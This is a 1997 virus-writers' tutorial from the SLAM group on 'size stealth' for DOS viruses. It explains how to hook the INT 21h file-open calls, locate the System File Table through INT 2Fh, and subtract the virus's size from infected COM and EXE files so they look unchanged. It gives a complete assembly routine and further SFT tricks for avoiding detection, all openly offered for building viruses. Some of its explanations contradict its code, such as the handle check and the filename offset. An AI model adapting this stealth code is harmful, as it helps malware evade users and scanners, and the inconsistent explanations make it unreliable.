Simple Tutorial to Stealth Virii
Part #2 - Size Stealth #2
by Virtual Daemon [SLAM]

part #1, part #3, part #4

     .-----------------------.
     |       Part -I-        |
     | Introduction & Theory |
     '-----------------------'

      If you downloaded SLAM Magazine issue #3 you probably already saw my tutorial
    about size stealth. I presented there how to hide the size of your virus in
    case of find first/next calls. After writing that tutorial, I've come up with
    another idea of size stealth (already used in my "SkyWalker" virus). Since I
    didn't had the time to comment "Skywalker" as I wanted to, I will now try to
    present that method here... Well, actually it isn't a new method or something.
    I'm sure that it was used by many virus writers before me, but it just popped
    out of my head one day, so I used it! :) And now, it's your job to decide if
    it suits your needs or not...

      First, let me explain something about this "new idea"... You already saw
    how a virus can hide the true size of an infected file. You can do that by
    simply intercepting the 11h/12h (find 1st/next FCB) and 4eh/4fh (find 1st/next
    file handle) functions. I will not re-explain how to intercept those functions
    and how to subtract the size of your virus. You can learn that from my prev.
    tutorial... I will only show you how to subtract the size of your virus in
    case of a 3dh/6c00h call (open/extended open). You probably have noticed that
    in the "Respect" virus, if you try to view an infected file, the true filesize
    will be displayed. That's natural and normal, since we're only stealthing the
    virus from find first/next calls. Well, in this short tutorial I will teach
    you how to hide your virus size from the open calls as well. So, from now on
    the size of your virus will remain INVISIBLE for any program that will try to
    view the size of your infected file.

      Let's begin with the beginning. To put this new stealth method in application
    we have to intercept the 3dh (open a file handle) and 6c00h (extended open/
    create) functions. Of course, in order to make it more complex and complete,
    we could intercept the 0fh (open a file via FCB) function as well. But since
    no program uses that function we'll just skip over it.

      Here is a picture of our new INT 21h handler:

     my_int21h_handler:
        cmp ah,3dh          ;open via file handle?
        je open_file
        cmp ax,6c00h        ;extended open?
        je open_file
        ...                 ;other stuff like 4bh (execute) or find 1st/next
     exithandler:
        db 0eah             ;jmp to original Int 21h interrupt
     oldint   dd ?

      Now that U saw how the handler is gonna look like, let's move to the stealth
    part. First the theory and then the code...

    Note: I will use the same seconds number (60) as in the "SkyWalker" virus...
    Anyway, it's a piece of cake (read _coke_ ;) to modify the marking sign... ;)

      In order to stealth the virus from open calls we use the SFT.
      SFT or System File Table is a DOS-internal data structure used to mantain
    the state of an open file via FCB or via file handle. According to Ralf Brown's
    Interrupt List release 54, the DOS4+ System File Table structure looks approx.
    like this:

         .--------.-----------.--------------------------------------------.
         | Offset |   Size    |                Description                 |
         .--------.-----------.--------------------------------------------.
         |   0h   |   DWord   | Pointer to next system file table.         |
         |        |           | Offset ffffh indicates last table in chain |
         .--------.-----------.--------------------------------------------.
         |   4h   |   Word    | Number of file descriptors in table.       |
         .--------.-----------.--------------------------------------------.
         |   6h   | 3Bh bytes | File descriptor table (59 bytes for every  |
         |        |           | handle).                                   |
         '--------'-----------'--------------------------------------------'
    The file descriptor table is an array of 3Bh (59) bytes. Here is its content:
        .--------.--------.---------------------------------------------------.
        | Offset |  Size  |                    Description                    |
        .--------.--------.---------------------------------------------------.
        |   0h   |  Word  | Number of file handles reffering to this file or  |
        |        |        | zero if file is no longer open. FFFFh if in use   |
        |        |        | but not reference.                                |
        .--------.--------.---------------------------------------------------.
        |*  2h   |  Word  | File open mode. Bit 15 set if file has been opened|
        |        |        | via FCB.                                          |
        .--------.--------.---------------------------------------------------.
        |*  4h   |  Byte  | File attributes.                                  |
        .--------.--------.---------------------------------------------------.
        |   5h   |  Word  | Device info word:                                 |
        |        |        |  bit 15 set if remote file                        |
        |        |        |  bit 14 set = don't set file date/time on closing |
        |        |        |  bit 13 set if named pipe                         |
        |        |        |  bit 12 set if no inherit                         |
        |        |        |  bit 11 set if network spooler                    |
        |        |        |  bit  7 set if device,clear if file (only local)  |
        |        |        |  bits 6-0 as for AX=4400h                         |
        .--------.--------.---------------------------------------------------.
        |   7h   |  DWord |  Pointer to device driver header if char device,  |
        |        |        | else pointer to DOS Drive Parameter Block or      |
        |        |        | REDIR data.                                       |
        .--------.--------.---------------------------------------------------.
        |   0Bh  |  Word  | Starting cluster of file (local files only).      |
        .--------.--------.---------------------------------------------------.
        |+  0Dh  |  Word  | File time in packed format.                       |
        .--------.--------.---------------------------------------------------.
        |*  0Fh  |  Word  | File date in packed format.                       |
        .--------.--------.---------------------------------------------------.
        |+  11h  |  DWord | File size.                                        |
        .--------.--------.---------------------------------------------------.
        |*  15h  |  DWord | Curent file position (offset in file).            |
        .--------'--------'---------.------------.----------------------------.
        |                           | Local file |                            |
        .--------.--------.---------'------------'----------------------------.
        |   19h  |  Word  | Relative cluster within file of last cluster      |
        |        |        | accessed.                                         |
        .--------.--------.---------------------------------------------------.
        |   1Bh  |  DWord | Number of sector containing directory entry.      |
        .--------.--------.---------------------------------------------------.
        |   1Fh  |  Byte  | Number of dir entry within sector (byte offset/32)|
        .--------'--------'-----.--------------------.------------------------.
        |                       | Network redirector |                        |
        .--------.--------.-----'--------------------'------------------------.
        |   19h  |  DWord | Pointer to REDIRIFS record.                       |
        .--------.--------.---------------------------------------------------.
        |   1Dh  | 3 BYTEs| ???                                               |
        .--------'--------'---------------------------------------------------.
        .--------.--------.---------------------------------------------------.
        |+  20h  |11 BYTEs| Filename in FCB format.                           |
        .--------.--------.---------------------------------------------------.
        |   2Bh  |  DWord | SHARE pointer to previous SFT sharing same file.  |
        .--------.--------.---------------------------------------------------.
        |   2Fh  |  Word  | SHARE network machine number which opened file.   |
        .--------.--------.---------------------------------------------------.
        |*  31h  |  Word  | PSP segment of file owner.                        |
        .--------.--------.---------------------------------------------------.
        |   33h  |  Word  | Offset within SHARE code seg of sharing record.   |
        |        |        | 0000h = none                                      |
        .--------.--------.---------------------------------------------------.
        |   35h  |  Word  | Absolute cluster number of last cluster accessed. |
        |        |        | Zero if file has never been read or written.      |
        .--------.--------.---------------------------------------------------.
        |   37h  |  DWord | Pointer to IFS driver for file, 0 if native DOS.  |
        '--------'--------'---------------------------------------------------'
    Note: from offset 19h to 20h in the file descriptor table there are 2 subarrays
    one if the file opened is a local file and the other one in case of network
    redirector. For us, only the local file matters now...

      So, this is the structure of SFT. The only thing that is important for us is
    the FDT (file descriptor table). So, what do you have to get from all this?
    Well, have a look at the marked offsets...
      The offsets marked with "+" are only used by our virus. The offsets marked
    with "*" can also be used for other VX purposes. :)
      Checked it? Well, I will re-take the important offsets for our virus and I
    will try to explain why are so important.
    - offset 0Dh=file time packed. We use this in order to check if the file is
      infected (marked) with (by) our virus.
    - offset 11h=file size. We subtract the size of the virus from this value.
    - offset 20h=file name. We check to see if the file that it's being opened
      is a COM or EXE file.

      Other important offsets that could be use in your virus are:

    - offset 2h=file open mode. This offsets can be used to see or modify the open
      mode: 0 for reading, 1 for writing and 2 for both reading and writing. This
      also can be used to get rid of your mov ax,3d02h/int 21h (open for RW)
      instruction. You just have to open the file normal (just for reading) and
      then set the file open mode from this offset to 2.
    - offset 4h=file attributes. In this offset are stored the file attributes. You
      can use it to modify the attributes to archive-only (for example), and thus
      you can get rid of your mov ax,4301h/xor cx,cx/int 21h, OR you can get the
      file attributes and thus you'll get rid of ur mov ax,4300h/int 21h
      instruction.
    - offset 0Fh=file date packed. This can be used to get or set the file date,or
      can be used to check if the file is infected (marked) with your virus (same
      as offset 0Dh).
    - offset 15h=curent file position. This offset contains the current position
      in file and can be used together with the LSEEK function. It's practicaly
      the same shit as the file pointer.
    - offset 31h=PSP segment of file owner. This is the PSP of parent process. It
      is the same value as the word from PSP offset 16h.

      Now that you know what SFT is and what are the important offsets, let's get
    to the theory part of subtracting the virus. It's very simple:

    -intercept the open calls (3dh and 6c00h)
    -fake an int21h to get the file handle
    -check if the handle from AX is a device. Why are we doing this? Well, DOS
     reserves five special file handles for use by itself and application programs.
     Here's the table:
      .-------.--------.------------------------------------------------------.
      | Value |  Name  |                     Description                      |
      .-------.--------.------------------------------------------------------.
      | 0000h | STDIN  | Standard input device (usually the keyboard).        |
      | 0001h | STDOUT | Standard output device (usually the screen).         |
      | 0002h | STDERR | Standard error output device (always CON).           |
      | 0003h | STDAUX | Standard auxiliary device AUX (normally COM1).       |
      | 0004h | STDPRN | Standard printer device (PRN, normally LPT1).        |
      '-------'--------'------------------------------------------------------'
      So all we have to do is to check the handle to make sure that isn't bigger
     then 5. If it is bigger then 5, then it's a DOS special file handle and we'll
     have to exit from our procedure.
    -save general registers AX, BX, DI and ES bcoz we'll change their content
    -put the handle in BX and save it
    -get the Job File Table entry for our handle. Will return is ES:DI the number
     of the SFT for our file handle, or FFh if the handle is not open. Here is the
     function:
      --------------------------------------------------------------------
      INT 2Fh - DOS 3.0+ internal - GET JOB FILE TABLE ENTRY
              AX = 1220h
              BX = file handle
      Return: CF set on error
                  AL = 6 (invalid file handle)
              CF clear if successful
                  ES:DI -> JFT entry for file handle in current process
      Notes:  the byte pointed at by ES:DI contains the number of the SFT for the
              file handle, or FFh if the handle is not open
              supported by DR DOS 5.0+
      --------------------------------------------------------------------
    -get the address of SFT (system file table) entry. Will return in ES:DI the
     system file table entry. Here is the function:
      --------------------------------------------------------------------
      INT 2Fh - DOS 3.0+ internal - GET ADDRESS OF SYSTEM FILE TABLE ENTRY
              AX = 1216h
              BX = system file table entry number
      Return: CF clear if successful
                  ES:DI -> system file table entry
                  BX = relative entry number in system file table containing entry
                  AX destroyed
              CF set if BX greater than FILES= (from CONFIG.SYS)
      Note: supported by DR DOS 5+
      --------------------------------------------------------------------
    -check the offset at 28h (file name) if our file is really COM or EXE
    -check the file's time (offset 0Dh) to see if the file is infected (marked)
     with our virus
    -subtract the size of our virus from offset 11h (file size)
    -restore AX, BX, DI and ES registers
    -return to int 21h

     .----------------------.
     |      Part -II-       |
     | Source code examples |
     '----------------------'

      Here goes the code for our procedure. I will explain everything so you can
    learn this crap! Don't worry! :)

    --- cut here ---
    open_file:
       pushf
       call dword ptr cs:[oldint21] ;fake an int 21h call (CF will be set if error)
                                    ;so we can obtain the file handle
       jc fucked                    ;Error? Exit, please...

       cmp ax,5                     ;check if handle is a device
       jb megafuck                  ;if ax is smaller then 5, then we're dealing
                                    ;with a DOS special handle and we must return

       push ax bx di es             ;save the AX, BX, DI and ES registers

       xchg bx,ax                   ;put handle in BX
       push bx                      ;save file handle on stack
       mov ax,1220h                 ;DOS function=get job file table entry
       int 2fh                      ;CF will be set if error
       jc noway                     ;Error? Exit, please...

       mov bl,es:[di]               ;put the JFT entry on BL
       cmp bl,0ffh                  ;if BL=0ffh, handle is not open
       je noway                     ;handle not open? Exit please...
       mov ax,1216h                 ;DOS function=get adress of SFT entry
       int 2fh                      ;CF will be set if error
       jc noway                     ;Error: BX is greater then FILES= (Config.Sys)

       cmp word ptr es:[di+28h],'OC'        ;check if the file is really a COM
       jne check_exe                        ;if not COM check for EXE
       cmp byte ptr es:[di+28h+2],'M'
       jne check_exe
       jmp found
    check_exe:
       cmp word ptr es:[di+28h],'XE'        ;check if the file is really a EXE
       jne noway                            ;no EXE and no COM? Pfuu... Exit then
       cmp byte ptr es:[di+28h+2],'E'
       jne noway
    found:
       mov ax,es:[di+0dh]           ;get time from SFT
       and al,1eh                   ;test if infected
       cmp al,1eh                   ;the seconds must be set to 60
       jne noway                    ;not infected? exit...

       cmp word ptr es:[di],1       ;check if file has already been opened
       ja noway                     ;too bad! We can't stealth it...
       sub word ptr es:[di+11h],(heap-begin) ;subtract the size of our virus
       sbb word ptr es:[di+13h],0   ;subtract the high word in case of EXE
    noway:
       pop bx                       ;restore file handle
       pop es di bx ax              ;restore ES, DI, BX and AX
    megafuck:
       clc
    fucked:
       retf 2                       ;return
    --- cut here ---

      Well, this is the end of this shit... I personally know that it sucks, but
    it REALLY IS another way to hide the size of your virus.

      Well, until next time....

    ---= Virtual Daemon / SLAM 1997 =---